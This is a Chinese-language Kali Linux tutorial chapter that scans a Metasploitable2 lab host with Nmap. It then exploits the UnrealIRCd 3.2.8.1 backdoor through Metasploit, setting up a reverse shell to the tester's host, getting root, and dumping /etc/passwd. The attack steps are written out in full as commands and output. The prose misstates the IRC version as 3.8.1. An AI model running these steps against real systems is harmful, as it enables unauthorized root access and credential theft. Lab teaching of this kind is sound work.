Kail Linux渗透测试教程之网络扫描和嗅探工具Nmap

Kail Linux渗透测试教程之网络扫描和嗅探工具Nmap

Kail Linux渗透测试实训手册大学霸内部资料

Kail Linux渗透测试实训手册大学霸内部资料

网络扫描和嗅探工具——Nmap

Nmap也就网络映射器(Network Mapper),是一个免费开放的网络扫描和嗅探工具。该工具可以扫描主机是否在线、所开放的端口号、提供的网络服务及操作系统类型等。本节将介绍Nmap工具的使用。在使用Nmap工具之前,首先需要了解它的几种扫描类型。Nmap主要的扫描类型如表4-1所示。

表4-1  Nmap扫描类型


【实例4-1】使用nmap工具扫描目标主机192.168.6.105的端口号。执行命令如下所示:

  • root@kali:~# nmap -sS -Pn 192.168.6.105
  • Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-16 09:25 CST
  • Nmap scan report for 192.168.6.105
  • Host is up (0.00014s latency).
  • Not shown: 977 closed ports
  • PORT     STATE SERVICE
  • 21/tcp   open  ftp
  • 22/tcp   open  ssh
  • 23/tcp   open  telnet
  • 25/tcp   open  smtp
  • 53/tcp   open  domain
  • 80/tcp   open  http
  • 111/tcp  open  rpcbind
  • 139/tcp  open  netbios-ssn
  • 445/tcp  open  microsoft-ds
  • 512/tcp  open  exec
  • 513/tcp  open  login
  • 514/tcp  open  shell
  • 1099/tcp open  rmiregistry
  • 1524/tcp open  ingreslock
  • 2049/tcp open  nfs
  • 2121/tcp open  ccproxy-ftp
  • 3306/tcp open  mysql
  • 5432/tcp open  postgresql
  • 5900/tcp open  vnc
  • 6000/tcp open  X11
  • 6667/tcp open  irc
  • 8009/tcp open  ajp13
  • 8180/tcp open  unknown
  • MAC Address: 00:0C:29:13:E0:3D (VMware)
  • Nmap done: 1 IP address (1 host up) scanned in 0.48 seconds

以上输出信息显示了,目标主机192.168.6.105上开放的所有端口号及目标主机的信息,如目标主机的MAC地址、扫描共用了0.48秒。在以上命令中,-sS选项表示使用TCP SYN扫描;-Pn选项表示不进行ping扫描。这里使用TCP SYN扫描,是因为这种方式扫描速度非常快,并且不容易被目标主机发现。

如果用户想查看目标主机的所有启动服务及服务版本,可以指定Nmap工具的-A选项来实现。

【实例4-2】扫描目标主机192.168.6.105上所有的端口号和服务版本。执行命令如下所示:

  • root@kali:~# nmap -sS -Pn -A 192.168.6.105
  • Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-16 09:25 CST
  • Nmap scan report for 192.168.6.105
  • Host is up (0.00035s latency).
  • Not shown: 977 closed ports
  • PORT       STATE SERVICE    VERSION
  • 21/tcp              open  ftp           vsftpd 2.3.4
  • |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
  • 22/tcp              open  ssh                  OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
  • | ssh-hostkey:
  • |   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
  • |_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
  • 23/tcp                open  telnet         Linux telnetd
  • 25/tcp                open  smtp         Postfix smtpd
  • |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
  • | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
  • | Not valid before: 2010-03-17T14:07:45+00:00
  • |_Not valid after:  2010-04-16T14:07:45+00:00
  • |_ssl-date: 2014-07-09T06:59:06+00:00; -6d18h27m07s from local time.
  • 53/tcp               open  domain              ISC BIND 9.4.2
  • | dns-nsid:
  • |_  bind.version: 9.4.2
  • 80/tcp               open  http          Apache httpd 2.2.8 ((Ubuntu) DAV/2)
  • |_http-methods: No Allow or Public header in OPTIONS response (status code 200)
  • |_http-title: Metasploitable2 – Linux
  • ……
  • 6667/tcp           open  irc                    Unreal ircd
  • | irc-info:
  • |   server: irc.Metasploitable.LAN
  • |   version: Unreal3.2.8.1. irc.Metasploitable.LAN
  • |   servers: 1
  • |   users: 1
  • |   lservers: 0
  • |   lusers: 1
  • |   uptime: 0 days, 20:28:27
  • |   source host: 45DFBD5E.E9742FE6.FFFA6D49.IP
  • |_  source ident: nmap
  • 8009/tcp           open  ajp13                         Apache Jserv (Protocol v1.3)
  • |_ajp-methods: Failed to get a valid response for the OPTION request
  • 8180/tcp           open  http                   Apache Tomcat/Coyote JSP engine 1.1
  • |_http-favicon: Apache Tomcat
  • |_http-methods: No Allow or Public header in OPTIONS response (status code 200)
  • |_http-title: Apache Tomcat/5.5
  • MAC Address: 00:0C:29:13:E0:3D (VMware)
  • Device type: general purpose
  • Running: Linux 2.6.X
  • OS CPE: cpe:/o:linux:linux_kernel:2.6
  • OS details: Linux 2.6.9 – 2.6.33
  • Network Distance: 1 hop
  • Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
  • Host script results:
  • |_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
  • | smb-os-discovery:
  • |   OS: Unix (Samba 3.0.20-Debian)
  • |   NetBIOS computer name:
  • |   Workgroup: WORKGROUP
  • |_  System time: 2014-07-09T02:59:06-04:00
  • TRACEROUTE
  • HOP RTT     ADDRESS
  • 1   0.35 ms 192.168.6.105
  • OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
  • Nmap done: 1 IP address (1 host up) scanned in 25.58 seconds

从输出的信息中,可以看到目标主机上所启动的服务及服务软件版本。例如Unreal Internet Relay Chat(IRC)服务,它的版本是3.8.1。用户可以通过获取到服务的版本,进行攻击主机。下面将会以例子的形式介绍通过服务版本,攻击主机的方法。

【实例4-3】在MSF终端实现渗透攻击Unreal IRC服务。本例中选择使用Metasploit 2系统作为攻击目标,其地址为192.168.6.105。具体操作步骤如下所示:

(1)启动MSF终端。执行命令如下所示:

  • root@kali:~# msfconsole
  • msf>

执行以上命令后,看到msf>提示符表示已成功登录MSF终端。

(2)查询Unreal 3.2.8.1可利用的模块。执行命令如下所示:

  • msf > search Unreal 3.2.8.1
  • Matching Modules
  • ================
  •    Name                                    Disclosure Date      Rank            Description
  •    —-                                        —————        —————     —————————
  •    exploit/linux/games/ut2004_secure                  2004-06-18           good             Unreal Tournament 2004 “secure” Overflow (Linux)
  •    exploit/unix/irc/unreal_ircd_3281_backdoor        2010-06-12             excellent                   UnrealIRCD 3.2.8.1 Backdoor Command Execution
  •    exploit/windows/games/ut2004_secure         2004-06-18           good              Unreal Tournament 2004 “secure” Overflow (Win32)

从输出的信息中,可以看到有三个可利用的模块。本例中选择使用unreal_ircd_3281_backdoor模块,该模块的级别非常好。

(3)查看unreal_ircd_3281_backdoor模块,可渗透攻击的详细信息。执行命令如下所示:

  • msf > info exploit/unix/irc/unreal_ircd_3281_backdoor
  •               Name:     UnrealIRCD 3.2.8.1 Backdoor Command Execution
  •               Module:   exploit/unix/irc/unreal_ircd_3281_backdoor
  •                  Platform:          Unix
  •  Privileged: No
  •                 License: Metasploit Framework License (BSD)
  •              Rank: Excellent
  • Provided by:
  •   hdm <hdm@metasploit.com>
  • Available targets:
  •   Id  Name
  •   –  —-
  •   0   Automatic Target
  • Basic options:
  •   Name   Current Setting  Required  Description
  •   —-   —————  ——–  ———–
  •   RHOST                   yes       The target address
  •   RPORT  6667             yes       The target port
  • Payload information:
  •   Space: 1024
  • Description:
  •   This module exploits a malicious backdoor that was added to the
  •   Unreal IRCD 3.2.8.1 download archive. This backdoor was present in
  •   the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th
  •   2010.
  • References:
  •   http://cvedetails.com/cve/2010-2075/
  •   http://www.osvdb.org/65445
  •   http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt

从输出的信息中,可以看到关于unreal_ircd_3281_backdoor模块的详细信息。其中,包括模块支持的平台、权限、提供商、基本选项设置及描述信息等。

(4)选择使用unreal_ircd_3281_backdoor模块,并查看该模块可配置的选项参数。执行命令如下所示:

  • msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
  • msf exploit(unreal_ircd_3281_backdoor) > show options
  • Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
  •    Name   Current Setting  Required  Description
  •    —-   —————  ——–  ———–
  •    RHOST                   yes       The target address
  •    RPORT  6667             yes       The target port
  • Exploit target:
  •    Id  Name
  •    –  —-
  •    0   Automatic Target

从输出信息中,可以看到有两个必须配置的选项参数。其中RPORT选项已经配置,接下来还需要配置RHOST选项。

(5)配置RHOST选项参数。执行命令如下所示:

  • msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.6.105
  • RHOST => 192.168.6.105

从输出信息中,可以看到使用目标主机的地址为192.168.6.105。

(6)查看所有可利用的攻击载荷。执行命令如下所示:

  • msf exploit(unreal_ircd_3281_backdoor) > show payloads
  • Compatible Payloads
  • ===================
  •    Name                         Disclosure Date   Rank    Description
  •    ————————————      ———————— ————- —————–
  •    cmd/unix/bind_perl                                                           normal  Unix Command Shell, Bind TCP (via Perl)
  •    cmd/unix/bind_perl_ipv6                                                      normal  Unix Command Shell, Bind TCP (via perl) IPv6
  •    cmd/unix/bind_ruby                                                normal  Unix Command Shell, Bind TCP (via Ruby)
  •    cmd/unix/bind_ruby_ipv6                                             normal  Unix Command Shell, Bind TCP (via Ruby) IPv6
  •    cmd/unix/generic                                                     normal  Unix Command, Generic Command Execution
  •    cmd/unix/reverse                                                             normal  Unix Command Shell, Double Reverse TCP (telnet)
  •    cmd/unix/reverse_perl                                                normal  Unix Command Shell, Reverse TCP (via Perl)
  •    cmd/unix/reverse_perl_ssl                                                    normal  Unix Command Shell, Reverse TCP SSL (via perl)
  •    cmd/unix/reverse_ruby                                                       normal  Unix Command Shell, Reverse TCP (via Ruby)
  •    cmd/unix/reverse_ruby_ssl                                          normal  Unix Command Shell, Reverse TCP SSL (via Ruby)
  •    cmd/unix/reverse_ssl_double_telnet                                      normal  Unix Command Shell, Double Reverse TCP SSL (telnet)

输出的信息显示了,在unreal_ircd_3281_backdoor模块中可加载的攻击载荷。从输出模块的描述信息,可以看到这些攻击载荷都是命令行Shell。这样就不能进入Meterpreter shell了,而且现在只能使用反Shell。当成功攻击目标主机后,在终端Shell的权限也会降低。

(7)使用反Shell,攻击目标主机。选择加载reverse攻击载荷,并查看该载荷下可配置的选项参数。执行命令如下所示:

  • msf exploit(unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
  • payload => cmd/unix/reverse
  • msf exploit(unreal_ircd_3281_backdoor) > show options
  • Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
  •    Name   Current Setting  Required  Description
  •    —-   —————  ——–  ———–
  •    RHOST  192.168.6.105    yes       The target address
  •    RPORT  6667             yes       The target port
  • Payload options (cmd/unix/reverse):
  •    Name   Current Setting  Required  Description
  •    —-   —————  ——–  ———–
  •    LHOST                   yes       The listen address
  •    LPORT  4444             yes       The listen port
  • Exploit target:
  •    Id  Name
  •    –  —-
  •    0   Automatic Target

从输出的结果中,可以看到LHOST选项参数未配置。

(8)配置LHOST选项参数。执行命令如下所示:

  • msf exploit(unreal_ircd_3281_backdoor) > set LHOST 192.168.6.103
  • LHOST => 192.168.6.103

执行以上命令后,再次查看所有选项参数的配置情况。执行命令如下所示:

  • msf exploit(unreal_ircd_3281_backdoor) > show options
  • Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
  •    Name   Current Setting  Required  Description
  •    —-   —————  ——–  ———–
  •    RHOST  192.168.6.105    yes       The target address
  •    RPORT  6667             yes       The target port
  • Payload options (cmd/unix/reverse):
  •    Name   Current Setting  Required  Description
  •    —-   —————  ——–  ———–
  •    LHOST  192.168.6.103    yes       The listen address
  •    LPORT  4444             yes       The listen port
  • Exploit target:
  •    Id  Name
  •    –  —-
  •    0   Automatic Target

从输出的信息中,可以看到所有选项都以配置。接下来就可以进行攻击了。

(9)启动渗透攻击。执行命令如下所示:

  • msf exploit(unreal_ircd_3281_backdoor) > exploit
  •  [*] Started reverse double handler
  • [*] Connected to 192.168.6.105:6667…
  •     :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname…
  • [*] Sending backdoor command…
  • [*] Accepted the first client connection…
  • [*] Accepted the second client connection…
  • [*] Command: echo 4G58mrIzlfNG2zIm;
  • [*] Writing to socket A
  • [*] Writing to socket B
  • [*] Reading from sockets…
  • [*] Reading from socket B
  • [*] B: “4G58mrIzlfNG2zIm\r\n”
  • [*] Matching…
  • [*] A is input…
  • [*] Command shell session 1 opened (192.168.6.103:4444 -> 192.168.6.105:53656) at 2014-07-16 09:34:05 +0800

从输出的信息中,可以看到成功打开了一个会话。但是没有进入任何Shell的提示符,只有一个闪烁的光标。这表示连接到目标主机的一个终端Shell,此时可以执行任何标准的Linux命令。例如,查看目标系统当前登录的用户名,执行命令如下所示:

  • whoami

执行以上命令后,将显示如下所示的信息:

  • root

从输出的信息可以看到当前登录的用户是超级用户root。

如想查看目标系统的密码文件,执行命令如下所示:

  • cat /etc/passwd
  • root:x:0:0:root:/root:/bin/bash
  • daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  • bin:x:2:2:bin:/bin:/bin/sh
  • sys:x:3:3:sys:/dev:/bin/sh
  • sync:x:4:65534:sync:/bin:/bin/sync
  • games:x:5:60:games:/usr/games:/bin/sh
  • man:x:6:12:man:/var/cache/man:/bin/sh
  • lp:x:7:7:lp:/var/spool/lpd:/bin/sh
  • mail:x:8:8:mail:/var/mail:/bin/sh
  • news:x:9:9:news:/var/spool/news:/bin/sh
  • uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
  • proxy:x:13:13:proxy:/bin:/bin/sh
  • www-data:x:33:33:www-data:/var/www:/bin/sh
  • backup:x:34:34:backup:/var/backups:/bin/sh
  • list:x:38:38:Mailing List Manager:/var/list:/bin/sh
  • irc:x:39:39:ircd:/var/run/ircd:/bin/sh
  • gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
  • nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
  • libuuid:x:100:101::/var/lib/libuuid:/bin/sh
  • dhcp:x:101:102::/nonexistent:/bin/false
  • syslog:x:102:103::/home/syslog:/bin/false
  • klog:x:103:104::/home/klog:/bin/false
  • sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
  • msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
  • bind:x:105:113::/var/cache/bind:/bin/false
  • postfix:x:106:115::/var/spool/postfix:/bin/false
  • ftp:x:107:65534::/home/ftp:/bin/false
  • postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
  • mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
  • tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
  • distccd:x:111:65534::/:/bin/false
  • user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
  • service:x:1002:1002:,,,:/home/service:/bin/bash
  • telnetd:x:112:120::/nonexistent:/bin/false
  • proftpd:x:113:65534::/var/run/proftpd:/bin/false
  • statd:x:114:65534::/var/lib/nfs:/bin/false
  • snmp:x:115:65534::/var/lib/snmp:/bin/false

输出信息显示了,目标系统中所有的用户信息。用户可以根据这些信息攻击目标主机上用户的密码。

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